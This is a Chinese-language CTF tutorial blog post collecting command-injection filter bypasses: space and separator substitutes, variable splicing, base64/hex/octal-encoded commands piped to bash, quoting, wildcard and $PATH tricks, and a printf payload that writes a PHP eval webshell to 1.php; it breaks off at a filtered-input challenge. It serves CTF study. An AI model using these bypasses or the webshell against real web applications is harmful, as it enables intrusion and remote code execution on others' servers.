CTF下的命令执行

前言:

做web题也经常遇到很多关于命令执行的一些姿势,这次就总结下来。

0x00:一些绕过姿势

在遇到的一些web题中,会经常将以下几种给过滤或者进行限制:

  1. 空格
  2. 命令分隔符
  3. 关键字
  4. 限制长度
  5. 限制回显

等等,这次就通过题目将这些如何绕过的知识给记录下来。

空格绕过
常见的绕过符号有:
$IFS$9 、${
   IFS}%09(php环境下)、 重定向符<><、

#$IFS在linux下表示分隔符,如果不加{
   }则bash会将IFS解释为一个变量名,
加一个{
   }就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用

测试一下:
在这里插入图片描述

命令分隔
%0a  --换行符,需要php环境
%0d  --回车符,需要php环境
;  --在 shell 中,是”连续指令”
&  --不管第一条命令成功与否,都会执行第二条命令
&&  --第一条命令成功,第二条才会执行
|  --第一条命令的结果,作为第二条命令的输入
||  --第一条命令失败,第二条才会执行

在这里插入图片描述
例如ctfhub这道题就过滤了命令分割符,用%0a便可以分隔命令进行查看

127.0.0.1%0als

在这里插入图片描述

关键词过滤

假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做

拼接绕过

#执行ls命令:
a=l;b=s;$a$b
#cat flag文件内容:
a=c;b=at;c=f;d=lag;$a$b ${
   c}${
   d}
#cat test文件内容
a="ccaatt";b=${
   a:0:1}${
   a:2:1}${
   a:4:1};$b test

编码绕过

#base64
echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{
   printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#i也可以通过这种方式写马
内容为<?php @eval($_POST['c']);?>
${
   printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号和双引号绕过

c'a't test
c"a"t test

反斜杠绕过

ca\t test

通过$PATH绕过

#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成
#当执行程序时,shell自动跟据PATH变量的值去搜索该程序
#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索
echo $PATH 
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
`echo $PATH| cut -c 8,9`t test

在这里插入图片描述
通配符绕过

  1. […]表示匹配方括号之中的任意一个字符
  2. {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
  3. {…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
    在这里插入图片描述
cat t?st
cat te*
cat t[a-z]st
cat t{
   a,b,c,d,e,f}st

在这里插入图片描述

#linux中查看文件内容的命令
cat、tac、more、less、head、tail、nl、sed、sort、uniq
内联执行
内联执行将反引号内命令的输出作为输入执行,类似的还有$(command)
无字母数字构造Webshell
<?php
error_reporting(0);
if(isset($_GET['code'])){
   
            $code=$_GET['code'];
                    if(strlen($code)>40){
   
                                        die("This is too Long.")
  • 7
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值